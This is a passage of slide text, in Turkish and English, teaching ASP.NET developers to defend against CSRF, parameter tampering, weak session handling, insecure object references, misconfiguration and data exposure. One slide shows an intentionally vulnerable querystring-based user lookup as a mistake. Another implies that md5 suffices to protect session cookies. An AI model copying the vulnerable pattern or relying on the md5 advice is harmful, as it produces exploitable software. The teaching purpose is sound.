  • 29. Cross-Site Request Forgery (CSRF) void Page_Init(object sender, EventArgs e) { if (Session.IsNewSession) { // Force session to be created; // otherwise the session ID changes on every request. Session["ForceSession"] = DateTime.Now; } // 'Sign' the viewstate with the current session. this.ViewStateUserKey = Session.SessionID; if (Page.EnableViewState) { // Make sure ViewState wasn't passed on the querystring. // This helps prevent one-click attacks. if (!string.IsNullOrEmpty(Request.Params["__VIEWSTATE"]) && string.IsNullOrEmpty(Request.Form["__VIEWSTATE"])) { throw new Exception("Viewstate existed, but not on the form."); } } }
  • 30. Cross-Site Request Forgery (CSRF) MVC de CSRFi önlemek için ne eklemeliyim? @using (Html.BeginForm()) { @Html.AntiForgeryToken(); @Html.EditorForModel(); <input type="submit" value="Submit" /> } Decorate any controllers that accept post data with the [Validat e-AntiForgeryToken], like so: [HttpPost] [ValidateAntiForgeryToken()] public ActionResult Index(User user) { ... }
  • 31. Parametrelerle Oynama (Parameter Tampering) • http://server/EditUser.aspx?userID=15 string userId = Request.QueryString["userId"]; var user = LoadUser(userId); Hata 2. Hidden da userID’yi tutmak Çözüm : UserID’yi authantication mekanizmasından almak, diğer formlarda ID’yi validasyon functiondan geçirmek.(sessiondan kontrol edebilirsin). • MVC’de binding security kontrolü için : [HttpPost] [ValidateAntiForgeryToken] public ActionResult Edit([Bind(Exclude="UserId")] Order order) { .... Save(); }
  • 32. Broken Authentication and Session Management • Tam olarak güvenliği sağlanmamış ( örneğin md5 veya benzeri bir algoritma ile korunmamış) oturum nesneleri ve çerezlerinin ele geçirilip kötü amaçlar için kullanılmasıdır.
  • 33. Broken Authentication and Session Management • Kullanıcı şifreleri hashli veya encrypted mı tutuluyor? • Kullanıcı adı ve şifreler tahmin edilebilir mi? Veya CSRF ile değiştirilebiliyor mu? • Parameter tempering ile kullanıcı id değiştirilebiliyor mu? • Session timeout set edildi mi? • Nasıl tespit ederim? Firefox HackBar plug-in’i kurar ve kullanırım.
  • 34. Insecure Direct Object References • Resourceslara veya sayfalara yetkisiz erişimi kontrol etmeliyim. • Sayfalara erişim için kontrol ettim ama resource dosyalarına erişim için ne yapabilirim? httpHandler • Nasıl tespit ederim? Burp Suite uygulaması ile tarama yaparım.
  • 35. Security Misconfiguration • Path traversal bunlardan biridir. IIS de IISPool kullanıcısı ile çalıştığından roota çıkamaz, kendi userımı açıyorsan uygulama için o zaman klasor yetkilendirmesini de yapmalıyım. • OS, DB, Firewall, IIS güncellemelerini güncel tutmalıyım. • Kullanılmayan portlar, servisler, sayfalar, hesaplar ve yetkiler kaldırılmalıyım, ayrılan kullanıcının accountunu durdurmalıyım. • Nasıl kontrol ederim? Watobo
  • 36. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Kredi kartı, kişisel bilgi, hasta bilgileri, vergi bilgileri gibi dataların açıkta bırakılmasından kaynaklanır. Attackerların tespit etmesi kolay değildir. • Bu bilgilerin dışarıdan öğrenilmesi, hukuksal veya mali ne kadar bize zarar verir? • İçerdeki saldırıları göz önünde bulundurmalıyım.
  • 37. Sensitive Data Exposure (Hassas veriyi açıkta bırakma) • Nasıl korunurum? • Sertifika kullanırım. • Autocomplete’i ilgili sayfalarda kapatırım. <form id="Form1" method="post" runat="server" autocomplete="off"> <asp:TextBox Runat="server" ID="Textbox1" autocomplete="off"></asp:TextBox>